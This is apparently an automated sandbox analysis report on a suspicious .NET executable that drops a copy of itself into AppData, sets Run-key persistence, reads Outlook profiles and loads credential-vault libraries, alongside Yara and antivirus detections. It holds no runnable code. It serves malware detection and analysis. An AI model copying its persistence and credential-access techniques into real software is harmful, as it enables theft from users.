Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Copy#51007602.exe	Virustotal: Detection: 28%
Source: Copy#51007602.exe	ReversingLabs: Detection: 15%

Source: C:\Users\user\Desktop\Copy#51007602.exe

File read: C:\Users\user\Desktop\Copy#51007602.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Copy#51007602.exe "C:\Users\user\Desktop\Copy#51007602.exe"
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process created: C:\Users\user\Desktop\Copy#51007602.exe "C:\Users\user\Desktop\Copy#51007602.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\itdtn.exe "C:\Users\user\AppData\Roaming\itdtn.exe"
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process created: C:\Users\user\AppData\Roaming\itdtn.exe "C:\Users\user\AppData\Roaming\itdtn.exe"
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process created: C:\Users\user\Desktop\Copy#51007602.exe "C:\Users\user\Desktop\Copy#51007602.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Process created: C:\Users\user\AppData\Roaming\itdtn.exe "C:\Users\user\AppData\Roaming\itdtn.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Section loaded: wintypes.dll	Jump to behavior

Source: C:\Users\user\Desktop\Copy#51007602.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\Copy#51007602.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\Copy#51007602.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: Copy#51007602.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Copy#51007602.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: Copy#51007602.exe

Static file information: File size 2696656 > 1048576

Source: Copy#51007602.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x267400

Source: Copy#51007602.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: Copy#51007602.exe, 00000000.00000002.2111351064.0000000002CEE000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2126157017.0000000005510000.00000004.08000000.00040000.00000000.sdmp, itdtn.exe, 00000004.00000002.2235868873.0000000004F89000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2235868873.0000000004FE0000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2229535791.000000000357C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: Copy#51007602.exe, 00000000.00000002.2111351064.0000000002CEE000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2126157017.0000000005510000.00000004.08000000.00040000.00000000.sdmp, itdtn.exe, 00000004.00000002.2235868873.0000000004F89000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2235868873.0000000004FE0000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2229535791.000000000357C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: Copy#51007602.exe, 00000000.00000002.2114770908.00000000045F2000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2114770908.00000000046BE000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2123138110.0000000004F30000.00000004.08000000.00040000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2229535791.0000000003371000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: Copy#51007602.exe, 00000000.00000002.2114770908.00000000045F2000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2114770908.00000000046BE000.00000004.00000800.00020000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2123138110.0000000004F30000.00000004.08000000.00040000.00000000.sdmp, Copy#51007602.exe, 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, itdtn.exe, 00000004.00000002.2229535791.0000000003371000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.Copy#51007602.exe.466e210.5.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.Copy#51007602.exe.466e210.5.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.Copy#51007602.exe.466e210.5.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.Copy#51007602.exe.466e210.5.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.Copy#51007602.exe.466e210.5.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Yara detected Costura Assembly Loader

Source: Yara match	File source: 4.2.itdtn.exe.4cce790.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.itdtn.exe.4ca6770.15.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.45de7d0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.itdtn.exe.4d1e7b0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.itdtn.exe.4dbe7d0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.453e7b0.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.44ee790.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.itdtn.exe.4ca6770.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.2c267d0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.itdtn.exe.4cce790.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.itdtn.exe.3427aac.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.itdtn.exe.3427aac.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.2c267d0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.44c6770.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.5400000.16.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.44ee790.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Copy#51007602.exe.44c6770.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2235868873.0000000004CA6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2114770908.00000000045DE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2235868873.0000000004DBE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2235868873.0000000004D1E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2125383195.0000000005400000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2235868873.0000000004CCE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2229535791.0000000003371000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2114770908.0000000004391000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2111351064.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Copy#51007602.exe PID: 6008, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: itdtn.exe PID: 2604, type: MEMORYSTR

Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_00F13651 push eax; retf	0_2_00F1365D
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 0_2_04EFFAC4 push es; iretd	0_2_04EFFAC7
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_06FD5150 push es; ret	2_2_06FD5160
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_06FDFBDD push es; iretd	2_2_06FDFBE0
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_06FDFBCD push es; iretd	2_2_06FDFBDC
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_06FDFBC9 push es; iretd	2_2_06FDFBCC
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_06FDFB99 push es; iretd	2_2_06FDFBC8
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_06FDFB7D push es; iretd	2_2_06FDFB88
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_06FDFB71 push es; iretd	2_2_06FDFB7C
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_06FDFB6D push es; iretd	2_2_06FDFB70
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_06FDFB55 push es; iretd	2_2_06FDFB5C
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_06FDFB49 push es; iretd	2_2_06FDFB54
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_06FDFB44 push es; iretd	2_2_06FDFB48
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_06FDFB21 push es; iretd	2_2_06FDFB24
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_06FDFB1D push es; iretd	2_2_06FDFB20
Source: C:\Users\user\Desktop\Copy#51007602.exe	Code function: 2_2_06FDFB10 push es; iretd	2_2_06FDFB1C
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_02F63651 push eax; retf	4_2_02F6365D
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_05B0FAC4 push es; iretd	4_2_05B0FAC7
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 4_2_05B28070 push es; ret	4_2_05B28076
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 5_2_06FE5150 push es; ret	5_2_06FE5160
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 5_2_06FEFBCD push es; iretd	5_2_06FEFBDC
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 5_2_06FEFB44 push es; iretd	5_2_06FEFB48
Source: C:\Users\user\AppData\Roaming\itdtn.exe	Code function: 5_2_06FEFB10 push es; iretd	5_2_06FEFB1C

Source: C:\Users\user\Desktop\Copy#51007602.exe

File created: C:\Users\user\AppData\Roaming\itdtn.exe

Jump to dropped file

Source: C:\Users\user\Desktop\Copy#51007602.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run itdtn			Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run itdtn			Jump to behavior

Source: C:\Users\user\Desktop\Copy#51007602.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Copy#51007602.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
